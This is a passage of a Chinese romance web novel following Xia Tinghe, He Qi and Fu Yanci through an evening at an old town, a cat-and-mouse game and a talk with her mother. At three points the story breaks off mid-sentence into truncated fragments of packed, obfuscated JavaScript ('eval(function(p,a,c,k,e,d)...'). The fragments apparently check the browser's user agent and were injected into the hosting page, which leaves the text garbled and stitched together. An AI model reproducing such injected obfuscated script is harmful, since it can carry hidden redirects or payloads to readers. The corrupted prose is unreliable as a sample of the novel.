脸上露出了片刻的慌乱，不过很快就归于了平常，陈航笑着看似大大咧咧地说：“我这不是帮你嘛，你不本来就不喜欢她，看到她还要绕道走……” “所以和你有关系么？”他的话还没说完，就立即被付言辞打断了。 “我是不是说过，别插手我的事。” 陈航：“我这……” “你以为你是谁？我和你很熟？” 一句两句被打断，陈航慢慢攥紧了拳头，面上却仍旧赔笑：“反正也删了，又没人真说她名字，你要是不乐意，那打我一拳消消气咯。” 付言辞极度克制着，握着椅背的手，青筋已经凸显。 他没说话，而是看了陈航一眼。 极为厌恶的一眼。 随即就走出了宿舍门。 陈航在他出去之后，猛踹了一脚椅子，低头咒骂了一句：“妈的，装什么？要不是你那张脸，有女的会喜欢你么？” “砰”的一声响，桌上的外卖跟着晃动了一下。汤汁溅了出来，落了一地，正好洒在了边上付言辞的文件袋上。 心里是看不起他，但陈航还是怕付言辞的。 何况这文件袋似乎对他挺重要的，付言辞不管去参加什么比赛，都会带在身边。 骂完之后，陈航又很怂地拿纸巾去擦。 文件袋是黑色塑料材质的，光滑的硬壳上除了品牌的Logo再没有其他的字，直到他用纸巾擦过右下角时，感觉到有点硌手。 害怕是自己刚不小心弄破了，他拿起来仔细看。 不是文件袋破了，是那地方印着几个字。 陈航摘了眼镜，仔细看。 几秒后，终于看清楚了。 上面印着的是一个人的名字。 - 好友是跟着付言辞一起过来的。 他在楼下等着。 本以为处理这些事要花上大把时间，但没想到付言辞不到半小时就从宿舍楼下来了。 见他出来，好友搭上他的肩膀，给了建议：“你考虑的真的太多了，如果真的喜欢别人，就不要想这么多。现在听我的，去给夏汀禾打个电话，解释一下，这事保管就没问题了。” 付言辞握着手机看了看，已经打开了通讯录的界面，但最终还是退了出来。 “再等等吧。” 他低头看着已经烂熟于心的号码，心里无比混乱，自言自语道：“现在我自己都还不确定。” - 和女朋友打了一晚上的电话后，晃悠着回了民宿，梁浩才发现手机快没电了。 趁着关机前的最后一分钟，他赶紧发语音给贺祁江湖救急。 “祁儿——哥哥哥，你带充电器了没？急急急。” “带了的话速速送我房间来。” 夏汀禾离开后，贺祁又在外面逛了一圈，接到梁浩的语音时，刚好走上民宿的楼梯。 “带了。”他笑了下，在梁浩求爷爷告奶奶请他送过来时，又补了一句：“不过和你匹配不上，我换手机了。” 梁浩：“…………” 他就不该问。 好在贺祁还算是有点良心，欠揍的话说完了又正经起来道：“我帮你去借一个吧，附近也没看到有租的地方。” 借？ 看着岌岌可危的电量，梁浩小心翼翼摁住屏幕问：“找谁借？” 贺祁没回答他了，直接收了手机，从二楼拐角处进去。 停在离楼道最近的一间房前，他抬眼看了眼标牌，确认了是夏汀禾的房间后，摁了门铃。 半分钟后，夏汀禾从房间里出来。看到是他，很快又低下了头。 尽管只有短短的几秒钟，贺祁还是看到她眼尾泛着红，眼眸水润润的，像是刚哭过。 “有什么事吗？”不想被对方看到自己的状态，夏汀禾伸手挡了下脸。 这种情况要是放在别人身上，贺祁一般会选择说走错了或者是其他无关的理由。 别人心情不好，他干吗要去打扰？ 不过看到夏汀禾，他却不知道为什么，没能扯出别的来，顺口地就把心里的想法说了出来：“你这里有充电器么？梁浩手机没电了。” 问了手机型号，夏汀禾回房间给他拿充电器。 贺祁的目光下意识地追随着她。 等人出来了，他道了谢，从夏汀禾手中接过来。 已经挺晚了，到这里应该说句晚安就直接走了，贺祁却总觉得似乎还有什么事没做。 至于是什么。 他自己好像也说不清楚。 似乎是从看到夏汀禾哭了之后，一直挺平稳的心情有了微妙的变化。贺祁觉得挺新奇的，他有一天竟然会因为别人的事而产生情绪波动。 他没在乎这点细枝末节，把原因归于可能是一直看到夏汀禾都是安安静静的模样，突然看到她的另一面，会觉得有些不一样。 这倒也正常。 直到在他转身时，夏汀禾忽地扯住了他的手腕。 “贺……贺祁！” 为了叫住他，她特意提高了点音量，更加掩盖不住话里的紧张和磕磕绊绊。 贺祁侧过脸，视线落在她抓着自己的地方。 女生纤细的手指正好搭在他的脉搏上。 这是夏汀禾第二次拉住他。 只不过。 这一次喊的是他。 10. 电话 夏汀禾在叫住贺祁的那一刻就开始后悔了。 她其实也没明白自己为什么要拉住他，只是想这么做，就做了。 感受到脸颊开始发烫，夏汀禾立刻松了手。 与此同时，室友的话再次一次在耳边回响：“就这张脸，看着就像谈过一百个，咱们还是千万别招惹。” 这么一回忆，夏汀禾顿时又冷静了下来。 然而贺祁还没从她的动作里反应过来，等她松了手后，愣了几秒，才问：“怎么了？” 语气几乎说得上是很温柔，和他一贯漫不经心的性格极为不符。 要是放在平日里，他大概会笑一下，直接问“还有什么事”，打趣揶揄两句。 贺祁都没想到自己会说出这几个字。 不过好像。 这就是他本来想问的。 楼道里时不时有人上来，声控灯关了又亮，照在他们身上。民宿就靠近海，晚上海边的风浪声都听得清清楚楚。 但比起浪花翻滚的声音，夏汀禾听得更清楚的是自己的心跳声。 双手无处安放，只能背在身后。 在贺祁略微低头看着她的这片刻，感觉到灼热的视线，夏汀禾迅速在他们之前的谈话中搜出了一个话题： “……你不是说想去古镇看看？明、明天要一起去吗？” 这算是一个合理的借口，夏汀禾松了口气，抬眸去看贺祁的反应。 似乎没猜到她会这么说，贺祁眼里闪过一两秒的意外，不过很快，他就扬了下嘴角，恢复了往常的模样，问她：“明天晚上？” “嗯。”夏汀禾点了点头。 晚上的灯光会漂亮些。 “只有我们两个？” 本来就是临时起意，夏汀禾哪还有时间想到其他人。 不过怕被他误会，她又赶紧解释：“你想的话，也可以叫上你的朋友一起。” 贺祁点了点头，片刻后啧了一声，道：“行，我叫梁浩一起吧，不过他本来要陪女朋友……” 听到别人情侣有约了，夏汀禾迅速抢话：“那就算了吧！” 贺祁没怎么在意，笑了笑，十分遵从她的选择似的，很爽快地应下：“噢，那就我们去。” 心情很愉悦似的，尾音都变轻了些。 几分钟后，好不容易把人弄走。夏汀禾立刻回了房间，躺床上思考下一步的计划。 结果翻来覆去几次都没想出点别的。 她突然有点想放弃了。 要不再找个理由随便推掉好了。 她本来也就是一冲动说出来的话，他们才见过几次面？应该还没熟到可以一起出去玩的地步吧？而且贺祁也不会在意她这个半生不熟的人放鸽子的吧？ 夏汀禾第一反应是想去问室友，只是一打开聊天框，就想起她们对她的忠告，她又心虚地撤回了手。 这样好像不太好。 理智上夏汀禾觉得自己应该告诉室友，但又害怕被她们知道之后，会认为她没有想象中的那么好。 毕竟目前来说，她对贺祁谈不上有很强烈的好感。只是觉得他长得还挺好看的，性格也很随和。 再者说，自己才失恋几天而已，就要换追人的对象了么？ 她们会不会觉得自己其实并没有那么喜欢付言辞？ 在放鸽子和守约之间来回纠结了半小时，夏汀禾果断地决定放弃时。 手机突然跳出了新消息。 这时候看到贺祁的名字，夏汀禾都会开始慌乱。 她深吸了一口气后，缓缓点开来看。 对方只发了很简短的一句：【如果明天不想去，可以直接和我说】 夏汀禾立即从床上坐了起来。 - 发完这句，说不上是什么心理，贺祁直接关了手机。 靠在沙发上打游戏的梁浩看他准备去洗澡，提前多问了一句：“你刚借充电器怎么借这么久？去哪借了？” 脑子里突然浮现刚才夏汀禾抓住他手的场景，贺祁没多说，只回了“楼下”两个字就转身进了浴室。 浴室里的温度比客厅的还低，贺祁没多想，脱了衣服之后，直接把开关调到了冷水。 水流从脖颈上划过，身上热意降了下来，他慢慢清醒了些。 从第一次见面到现在，他能大概猜到夏汀禾是被喜欢的人拒绝了，并且对方心挺狠，才让她哭得这么多次。 所以可能是想转换心情，换个人玩，这才正好找上了他。只不过这应该也是一瞬间的想法，她现在仍然没忘旧情，并没有坚定要这么做。 没忘旧情？ 贺祁忽地觉得有点莫名地不舒服。 不是因为夏汀禾转头就看上了他，而是因为她还没忘了之前的人。 这个念头很快就消散了。 这和他有什么关系？ 洗完澡出来后，贺祁边拿毛巾擦头发，边往床边走，下意识地去拿手机看消息。 这是他以前都不会有的习惯。 正好一局游戏打完，梁浩起身准备回自己房间，见他出来，又问：“花洒坏了？你洗的冷水？” “没坏。”贺祁疑惑地看过去：“为什么这么问？” 梁浩耸了耸肩，直接道：“你说呢？刚你进去的时候心情还挺好，现在脸冷得可怕……” 后面的话贺祁没仔细听了，手机“叮”一声响。 他打开看。 是夏汀禾回他的。 【没有呀，我特别想去！】 刚才那些莫名其妙的情绪好像瞬间被抚平了。 贺祁仿佛能透过屏幕看到她硬着头皮发这句话的模样。他忍不住勾了下嘴角，打字回复。 【噢，我还以为你只是随便一说】 【其实我明天也有别的事要做，去不去都行。不过既然你这么想，那还是去吧，你说呢？】 发完这条，贺祁想起刚刚梁浩好像对自己说了什么。 他抬头问：“对了，你刚刚说什么？” 梁浩：“…………” 他什么都没说。 行了吧。 - 第二天下午，舅妈在家睡了午觉后准备去民宿工作，正好碰上夏汀禾也从隔壁出来。 她换了不会在家里穿的及膝白裙，扎着简单的丸子头，干净清爽。 她站在楼道里，楼道好似也明媚了起来。 许久不见侄女这样收拾自己，舅妈开口第一句就是：“小禾，要出去玩？” 夏汀禾正低着头找钥匙，听见舅妈的问话，立即抬头。 两人对视着，她又开始紧张起来，莫名有种做坏事的感觉。 “嗯……我晚上想去古镇那边逛逛。” 她不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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红灯还有十几秒钟转绿，夏汀禾努力强迫自己放空，不去想其他的。 这时身侧突然传来声音。 “言辞！” 再一次听到熟悉的名字，夏汀禾下意识地扭头看过去。 没看到找到人，只短暂地半秒钟，她就克制住自己收回了视线。 他已经和她没关系了。 “言辞，你怎么过来这边了？” 两个交谈的人却朝她的位置走来。 越靠越近。 直到男生站在了她身边，身影罩住了她。 夏汀禾只想低着头快速走开。 “来玩呗，晚上这边不是会办很多游戏活动吗？” 和想象中的声音不同。 被叫住的人回了话，夏汀禾这才看过去。 不是他。 只是同名的人而已。 在夏汀禾看着对方的两秒，包里的手机很快震动起来。 贺祁给她打了电话。 夏汀禾点了接通。 干干净净有带着点磁性的声音传入她的耳中。 “绿灯了，还不过来么？” 他的语调似乎比平时要冷静许多。 11. 年糕 夏汀禾在这时看向对面。 贺祁就站在古镇的入口处，手上把玩着矿泉水瓶，脸上没什么表情。 天色已经变暗，路灯还没亮起，尽管他就站在不怎么显眼的树下，但长相过于出众，周围还是频频有人投去害羞打量的视线。 夏汀禾小跑到了他旁边，不太好意思问：“你很早就过来了吗？” 他看起来似乎在这里等了有一会儿了。 贺祁在这时收起了刚才的神情，笑了起来，漫不经心地问她：“早来做什么？晒太阳？” 没等夏汀禾继续问，他已经止住了话题：“走吧，再不进去里面人都要堆成山了。” 这倒是真的。 古镇每次到了晚上就会迎来最热闹的时候，大街小巷的灯光在固定的时间同时亮起，最是漂亮不过。 夏汀禾跟在他身边进去。 她专注地看着路，也没注意到贺祁回过头看向了她刚才过来的地方。 视线淡淡扫过被夏汀禾误认为是付言辞的男生。 - 到了古镇里面，天已经彻底黑了下来。 街道上挂着的灯笼在这时候起了作用，五颜六色的铺满一整条路。 他们俩和普通游客一样，时不时会在热门的打卡景点停下来拍张照，或者是尝一下排队人多的地方小吃。 拍照他们俩的习惯都差不多，构下图，随便照一张当作纪念就行。 但吃这方面，贺祁对这些各路美食似乎都不怎么感兴趣，偶尔停下脚步来，基本上都是在等她。 从小摊上买了一盒炸年糕后，夏汀禾犹豫了下，主动递到他面前，问：“你要尝尝吗？” 之前买的都是烤冷面、糖糕这些不怎么好分的，炸年糕一盒里面正好有几串，她这才来问问。 贺祁没接，反问她：“味道怎么样？” 夏汀禾还没试过这家。 不过看年糕表皮炸得酥脆，上面撒的孜然辣椒面更不用说，怎么想味道都不会差的。 而且这还是她排了半小时的队买回来的，要不是问他，她自己都想立即吃了。 她如实回答说：“我还没吃过，不过应该还可以。” 她的目光一直在年糕上，眼睛亮晶晶的，说话的时候都没抬头看他一眼，贺祁忍不住勾了下嘴角，道：“那就等你试了再说。” 得到回应，夏汀禾很快就心安理得地尝了一串。 味道确实不错。 夏汀禾这才凑过去和他说结论。 贺祁却回她说自己没什么胃口。 “你真的不要嘛？那我都吃了？”夏汀禾又小心翼翼地和他确认了一遍。 “嗯，真的。”贺祁笑起来，看着她点了点头。 于是年糕最后都进了夏汀禾的肚子。 出了小吃街，两个人走到了古镇的东门。 东门和其他的入口没什么不同，唯一有区别的，便是旁边立着的几张海报，上面写的是古镇今天晚上的活动。 夏汀禾这时记起来的时候在公交车站听到的谈话。 原来真的有这么回事。 “想玩？”贺祁看她停下来了，问她。 夏汀禾确实很想，她喜欢体验新鲜的东西，但顾及到贺祁，还是先问了他的意见：“你呢？” 明明自己喜欢，却还要问他。贺祁其实还挺想知道，夏汀禾和别人在一起的时候，是不是也会这么照顾其他人的感受。 还是说。 只是对他。 夏汀禾还在看海报，没察觉到他的目光一直落在自己身上。 直到听见贺祁说：“我都行。” 默认他是答应了，夏汀禾立刻跑到报名处去登记。 她过去时，帮忙登记的大爷正躺在木椅上扇着扇子休息。 在她喊了几声之后，大爷才睁开眼，戴上眼镜照例询问：“报的什么游戏啊？这边扫个码，填一下表。” 夏汀禾照做，大爷眯着眼睛看清楚了游戏名称，低声嘟囔道：“猫……” “猫鼠游戏？你们年轻人大半夜的不到处逛逛，来这里扮猫扮鼠做什么？” 夏汀禾：“……” 看样子大爷应该是第一天上班，对业务还不太熟悉。 夏汀禾和他解释了说这其实就是一个简单的追人抓人游戏。 大爷也懒得理解，直接问她：“你是一个人过来的？游戏需要两个人哦。” 猫鼠游戏顾名思义，所有参赛者分为猫和鼠两类角色，玩家需要打开共享地图，被分配到猫角色的可以根据地图路线去抓人，鼠角色则需要根据地图避开猫直至游戏结束，中途被抓到的则视为出局。 这游戏之前夏汀禾在学校里也和室友玩过，但从来没碰到过说要双人的情况。 或许是一点创新，她也没继续问，指了下不远处的贺祁，说：“不是我一个人，还有……” 大爷抬头看了眼，瞥到对面有个瘦高的身影：“哦，还有你男朋友是吧？可以了，登记完了，两个人进去玩吧。注意安全。” 大爷随手就打开了身后游戏场地的门。 和异性出去，被误会成情侣是常有的事，夏汀禾想解释他们的关系，但大爷已经被隔壁水果摊的老板叫了过去吃西瓜，摆了摆手就叫她进去。 想着贺祁离得比较远，应该也听不清，夏汀禾只得就此作罢。 游戏场地设置在古镇里面，再加上东门的的门店比其他地方的的少，进去后，周围的光线瞬间暗了下来。 或许是为了增加游戏难度，这里连路灯的亮度都特意调低了些。 夏汀禾下意识地往贺祁那边靠了靠，几乎躲在了他的身后。 感受到有个人往自己这边钻，贺祁也没避开，只是突然开口，问她：“刚刚你报名的时候说什么了？” 忽地听到他的声音，夏汀禾被转移了注意力，心里的害怕减少了些许。 转眼想到大爷的话，紧张又替代了害怕，她有点磕绊地说：“……没聊什么。” 他当时站得那么远，应该听不清的吧？ 在夏汀禾胡思乱想时，贺祁回了她：“是么？” 他看着夏汀禾像只猫一样躲在自己身后，却又好奇地往四周看，忍不住笑了下，懒洋洋地说：“我还以为他会误会我们俩的关系呢。” 他的尾音拉长了些：“比如，以为我是你男朋友什么的。” 夏汀禾：“！” “没有啊。” 没想到一下子被猜中了，心虚之际，夏汀禾立即从他身后站了出来，离他远了些。 这下连乌漆嘛黑的地方也不怕了。 “就是说了一些游戏的注意事项，也没说其他的。”夏汀禾打开手机，假装开始研究地图。 好在贺祁也似乎真的只是随口一提，并没有听清楚当时的对话。 夏汀禾这才放松了些。 没等他们俩继续聊下去，不远处突然有人叫了夏汀禾的名字。 谈话被打断，她抬头看过去。 对面走来一个人。 开着手机手电筒的，也没看清楚人是谁。 直到走进了，夏汀禾才认出来是梁浩。 梁浩显然没想到能在这里碰到她，话里都带着欣喜：“诶，夏汀禾，你也是来玩游戏的吗？那还挺巧……” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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贺祁和夏汀禾同时松了口气。 两个人好声好气地把他送走。 只是走到一半，梁浩突然想起什么似的，又回过头来。 “诶，不对啊，那你们俩为什么老是一起？一起的话，被发现的概率不是更大么？” 夏汀禾和他解释原由：“我和他是一队的，角色是一样的，规则上是要一起。” 据当时大爷的说法，两个人组成队伍，只有一条命，任一一人被抓，两个人就出局，所以他们俩一直走在一起。 梁浩皱了下眉，好像没听懂：“规则上有这一条吗？这游戏不就都是自己玩自己的么？只有猫鼠两种角色分配。” 他打开游戏群里发布的规则，给夏汀禾看。 里面写得清清楚楚。 压根没有什么必须要双人组队的这条。 夏汀禾这才反应过来，是之前的大爷弄错了。 她和贺祁也是因为凑巧，所以前面几局都分配到了相同的。 祝朝月在这时又给梁浩打了电话，急着见女朋友，梁浩也没和他们俩继续解释了，很快就赶了过去。 分辨清了规则，他们其实没什么必要再继续一起。 两人站在离路灯不远的古树下，影子就落在石板路上，偶尔随着风晃动。 贺祁没说话，就这么看着她。 纠结了会儿，夏汀禾往他那边靠了一点，感觉到呼吸都变得不平稳起来，垂在身侧的手慢慢蜷缩起来。 她大着胆子扯了下贺祁的衣角，在他看向自己后，小声问： “那……你还想和我一起吗？” 这是她第一次这样邀请别人。 12. 答案 夏汀禾的声线是偏软和甜美的，尤其是在低声说话时，又乖又温柔。 贺祁没听清楚她说的话，只感觉到有轻微的气息拂过脖颈，弄得有点痒。 “嗯。”他假装自己听明白了，偏头咳了下：“……我都行。” 只是在他答应之后，夏汀禾又觉得有些不太好。 这样看着好像比较烦人。 她并不喜欢自己麻烦别人，尤其是在付言辞的事情之后。 习惯性地想收回自己的话，然而贺祁先给了进一步的答案：“一个人走也挺无聊的，一起吧。” 意料之外都又被肯定了一遍，夏汀禾“哦”了一声，突然不知道该说点什么了。 再加上他说得很随意，似乎没怎么把这放在心上，如果拒绝，反而会显得她有些小题大做。 他们俩站在古镇的树下，一个低头看着地板一个看着人。不远处开着的店铺从木窗里洒下缕缕光，落在两人身上。 直到传来追跑的声响，这才突然想起来游戏还在进行中。 “好像有人过来了。”夏汀禾这时才扯开话题。 “哪里？”贺祁慢半拍地看过去。 夏汀禾抬手指给他看：“应该……是在那边。” 扭头的那一下，没意识到贺祁往她这边走近了些，夏汀禾的脸颊蹭了下他的肩膀。 专注在游戏上，夏汀禾没察觉到这点小意外。 但是贺祁感觉到了。 他垂着眼眸看向注意力还在别处的夏汀禾，心里又顿时冷静了下来。 是故意的？还是真不懂？ 贺祁把目光从她身上收回，心里莫名地生出一点异样的情绪。 这是他之前没体会过的。 贺祁不喜欢一切自己无法控制的东西，无论是心理上还是身体上的，但今天所产生的种种，他并不排斥。 相反，还觉得很新奇，有点想继续尝试。 等着夏汀禾再次问他往哪走时，贺祁回过神来，看了地图，分析了下，很快就规划出新的路线：“往这边吧，那两边找人和抓人都不怎么方便。” 进入到游戏状态，两个人没多久就把刚才的事抛掷脑后了。 没了梁浩，后面几局游戏他们俩都挺顺利，没什么悬念的就拿了第一。 出来后，夏汀禾记得的第一件事就是找大爷解释一番，想给他提个醒，下次不要弄错了。 结果大爷一看到她出来，反而先找上了她。 “那个……姑娘！”一口普通话里夹杂着地道的方言。 夏汀禾停了下来，以为大爷要和她说游戏的事。 “你是不是Q大的学生？” 不知道大爷从哪得知了这个消息，夏汀禾愣了下，点了点头。 得到肯定的回答后，大爷露出满意的笑容，和蔼地问她：“那我想问一件事，你们学校寒暑假是可以留在学校的？” 大概是家里有小孩也在Q大上学，夏汀禾礼貌回他说：“可以申请的。” “行，那没事了，晚上玩得开心吧？早点回家休息。” 照例没等她的回答，大爷问完话就转身哼着小曲儿走了。 这边本地居民大多都这样，热情且随和。 夏汀禾也没多想。 - 四个人住在三个地方，贺祁和梁浩要回民宿，祝朝月在这边实习上班，租了房子，都和夏汀禾不同路，于是几个人在门口就分开了。 她按照原路返回。 刚到家门口，就收到了一条消息。 【汀禾妹妹，回家了说一声呀，你一个人回去，我们也不太放心】 这句是祝朝月发的。 她们俩也是在后面几局游戏中偶然碰到，顺便就认识了。 只是。 夏汀禾：【我们？】 夏汀禾心里这么想着，打出了字，却不小心点了发送。 祝朝月很快回了她：【对啊，我和梁浩，还有贺祁，他们俩还问我来着，可能是觉得我是女生，咱俩会熟一点哈哈哈哈哈哈哈】 下意识地捕捉到一个名字，夏汀禾又看了一遍，才认真回复她的问题。 只是这条消息还没发出去，聊天界面上方弹出了另外一条。 贺祁：【到家了？】 夏汀禾突然感觉到心跳漏了一拍。 回完祝朝月，她又退了出来，把一样的话发给了贺祁。明明是第二次发送，动作却慢了些。 夏汀禾：【刚到】 贺祁：【嗯，早点睡】 夏汀禾想回一句你也是，维持基本的礼貌。 结果紧接着，又收到他发过来的话。 贺祁：【晚上跑一天了，看你平常应该不怎么喜欢运动，所以回家了好好休息下吧，明天你不是还要来民宿上班？】 夏汀禾：“？” 从哪看出来自己不喜欢运动的？ 本来要开门回家的，这下她也不着急了，咬了下嘴唇就飞速打字回应：【你才看着不喜欢运动】 发完了，夏汀禾后知后觉自己有点反应过大了，想要撤回。 贺祁却很快回她了：【昂，被你猜对了，我确实不怎么喜欢】 语气十分坦然和不着调。 就差站在她面前笑着说了。 一拳打在了棉花上，夏汀禾继续开始和他理论。 聊了差不多半小时，直到夏汀禾在门口站得有些累了，这才和他说自己要有事去忙了。那边也很爽快地回了个知道了，就没再打扰。 夏汀禾收了手机，拿钥匙打开门锁。推门进去后，她顺手就开了客厅的灯。 因为习惯了一个人的生活，夏汀禾在玄关处换了鞋就径直走向了卧室。直到靠近客厅时，忽地听到“啪嗒”一声响，侧卧里也跟着有了动静。 呼吸一滞，夏汀禾提着心往那边一看。 只在房间里的电脑桌前看到一个背影和熟悉的杏色西服裙套装。 是夏汀禾的妈妈。 蔺妤正趴在桌上睡觉。 许是工作完，她后脑勺的抓夹也忘了取下，就这么任由它胡乱卡着头发，两边的长碎发随意地落在了耳边。 蔺妤是国内一家大牌美妆公司的品牌策划总监，每到大促节日总会忙得昼夜颠倒。 夏汀禾也习惯了。 看到是妈妈后，她松了口气，从沙发上拿了毛毯，走进侧卧。 不过她刚踏进门，蔺妤就醒了。 “回来了？”她闭着眼问的，单手撑在桌上，习惯性地揉着太阳穴，没看到夏汀禾的动作。 声音里带着浓浓的疲倦。 蔺妤其实是温柔美人的长相，皮肤白皙，眉眼妩媚，再加上常年锻炼，身材也保持得好，即便到了四十多岁，也依旧漂亮。 很多人都对夏汀禾说过，她妈妈看上去肯定不是爱发脾气的那一类家长。 这也确实是事实，蔺妤很少说她什么。也可能是她们本来相处的时间就不多。 但夏汀禾每次在面对她时，总会下意识地有点害怕。 “嗯。”她应了一声，把刚才手上拿着的毛毯往身后藏了藏。 蔺妤在这时往外走去：“你舅妈说你晚上去古镇那边玩了？好玩么？” 她走到客厅的饮水机前，接了杯水。 “还可以。”夏汀禾回答说。 “嗯，听说古镇翻新了，建了挺多新地方。”蔺妤看了看窗外，也不知道是对着谁说：“听我几个同事说，那边是一年比一年漂亮了。” 说完，她停顿了一会儿，视线仍留在窗外。 夏汀禾跟着往外看，只瞥到了一片漆黑，什么都没看到。 “先去洗澡吧。”蔺妤收回了视线，“洗完了早点睡觉，熬夜对皮肤不好。” 夏汀禾应了下来，正准备回房间拿睡衣，背后又传来声音：“噢，对了，洗完了先别回房间，过来下客厅，待会儿有事和你说。” 花了半小时洗头洗澡，吹干了头发，夏汀禾这才过来客厅。 蔺妤正一边发语音回复工作消息，一边吃着刚外卖点的手擀面。 夏汀禾等着她忙忘，又去帮忙倒了一杯温水。 蔺妤接过来喝了一半，才说：“刚刚忘记问了，你一个人去玩的？” 以前蔺妤并不会关心这些问题。 夏汀禾也不敢在她面前撒谎，低着头乖乖回答：“我和……和几个朋友一起去的。” “朋友？”蔺妤又继续问：“你没交男朋友吧？” 心脏猛地一跳。 这一刻，夏汀禾莫名地想到了贺祁，害怕妈妈不高兴，她很快摇了摇头：“没有。” 蔺妤点了点头，没继续深问，很快就说出来她回家的目的。 “你爸说下周见一下面，我们三个。” 处在上一个问题的紧张之中，过了片刻，夏汀禾才明白过来妈妈说了什么。 她们一家三口已经几年没一起碰过面了。 现在突然得到消息，夏汀禾也不知道是不是该高兴。 “不开心吗？”蔺妤看着她疑惑地问，“你不是想见你爸很久了？” 那已经是她刚上初中时候的事情了。 开学第一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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上班的内容枯燥无味，前台的小姐姐自然是高兴有一个伴儿的。一看到夏汀禾过来，就赶忙给她分享自己去附近超市抢购的早餐面包和牛奶。 这些日子，夏汀禾时不时就会收到她给的零食，作为回礼，她偶尔去商场里买东西，也会带给女生。 一来二去，两个人的关系也慢慢好了起来。 “你怎么啦？心情不好吗？”看她的脸色并不是很好，女生又凑过去小声地问：“是生理期来了吗？” 夏汀禾摇了摇头，回答说没事。 她胡乱扯出一个借口来：“可能是没吃早餐，有点没力气。” “那你先吃着，我房间里还有其他好吃的，我去给你拿。” 女生说完就匆匆跑上了楼，夏汀禾都还没来得及叫住她。 过了会儿，听到有脚步声下来。 夏汀禾抬头。 看到的却不是女生。 “今天还出去？天有点热了吧？你不是不喜欢晒太阳？” 梁浩紧跟着贺祁从楼梯上拐弯下来，看他停在台阶上，在他肩膀上拍了一下。 “怎么不走了？” 顺着他的视线望过去，梁浩看到站在前台旁边的夏汀禾。 人多热闹，习惯性拉人一起，梁浩热情地和她招手：“欸，夏汀禾，你今天还要工作么？要不要一起出去玩？朝月也去。” 贺祁这时看向了她，漆黑深邃的眼眸中闪过一丝光亮。 不过很快就消散了。 感觉到有目光落在自己身上，夏汀禾有意看向梁浩，错开了视线，温声回答说： “今天我还有事，就不去了。抱歉。” 其实除了下午要去见爸爸，她上午随便去哪都行，并没有什么要紧事。 只是，现在她并不想和贺祁对视。 夏汀禾又低下了头，假装开始忙手头上的工作。 有事要做没办法出去，梁浩没觉得有什么，立即摆了摆手说没关系。 但贺祁是在他们俩说完之后，隔了许久，才对梁浩说了句：“走吧。” 声音比刚才冷了许多。 没多久，民宿的门被推开又关上。 夏汀禾再次看过去时，他们已经离开了。 自从上次古镇那晚之后，她和贺祁就没再说过话了。 是她有意地在避开贺祁。 13. 纠结 女生从楼上下来时，正好看到夏汀禾坐在前台的椅子上。 她面前开着电脑，打开了实验报告的页面，手握着鼠标，却很久没有动，像是在想眼前的题，又像是在放空。 “你是在想怎么写吗？”女生把从房间里拿下来的饼干和水果放在了桌上，拉了张椅子在她旁边坐下。 这会儿是民宿闲暇的时刻，女生也正好想找个人唠嗑。 被她一问，夏汀禾才慢慢回过神来。 “不是。” 实验报告在学校的时候就写完交上去了，她只是习惯在老师打完分发下来之后再回看一遍。 女生瞥了下她的电脑，大篇幅的文稿和图展示在眼前。 “我能看看吗？” 夏汀禾把电脑转了个方向，打开电子版的给她看。 女生看得很认真，很仔细，偶尔瞧到一些公式，还会停下来想想，问一问她。 夏汀禾耐心地和她解答。 几分钟后，女生把电脑推了回去，腼腆地笑了笑，说：“你好厉害啊，在那么棒的大学里上学，学的东西还这么复杂。我只能看懂一些高中学过的简单公式，还记得不是很清楚了。” 她说话的时候眼眸里也含着笑意，带有一丝艳羡。 夏汀禾迅速回应：“这些不是很难，如果你学的话，也会很快学会的。” 并不是客套话，从刚才交谈的几句，她大致能够判断出女生的理科思维不错，只是积累少了些。 想到手写报告的那几天，夏汀禾又忍不住吐槽了下：“不过写报告真的有点麻烦。” 女生被她微皱着眉的模样逗笑，转而自己也不好意思地抓了下头发：“我以前不爱读书，学东西也慢，尤其是物理和数学，所以参加完高考，混了个高中毕业证，我爸妈就让我出来找工作了。” 脸上的腼腆褪去，她说着又看向了远方：“不过现在，还是想攒点钱，再去考个专科本科什么的，想体验一下大学的感觉。” 读高中、高考、上大学、毕业后工作，这样的生活轨迹对于夏汀禾来说，太过于普通，以至于没什么可谈的。不仅是她，她身边的同学、朋友也是如此。 但女生说到这些的时候，眼睛里一直含着光亮。 她们对坐着，女生望向了民宿的木门外，越过院子，看到的就是无边无际的海。 看着她，夏汀禾不由得愣了下。 静默了片刻，女生忽地回过头，搬着椅子凑近了她。 “汀禾妹妹，我和你讲一件事，但是你不要告诉别人，可以吗？” 女生身上有淡淡的香味，靠近了，夏汀禾闻到了一点。 不是香水味，是一种温暖又带着阳光的干净味道。 很亲切，很有生命力。 像是雨后冒出来的绿芽。 和她在夏汀禾印象中的性格很符合。 不知道是什么事，但是看女生脸上的表情，大概能猜测到是让她觉得高兴的。 夏汀禾点了点头。 得到回应，像是拉家常一样，女生晃着椅背，主动和她说起了以前的事：“我之前其实有认识过一个特别优秀的男生。在网上打游戏的时候认识的。那几天我对游戏上头，基本上每天都玩，结果好几次都随机匹配队友都匹配到了同一个！” “我当时就抱着交朋友的心态，私信他加了联系方式。没想到游戏之外的，我们俩也都挺聊得来的。一来二去，他约了我线下见面。面基的前一天我担心了一晚上没睡着！但是你知道吗？他和你一样，也是名牌大学的学生，而且……” 女生说到这里有点羞涩，声音低了些：“而且长相也是我喜欢的。虽然不是大帅哥，但是很干净很清爽。” 深切体会过喜欢一个人的感觉，夏汀禾很能明白她的想法。 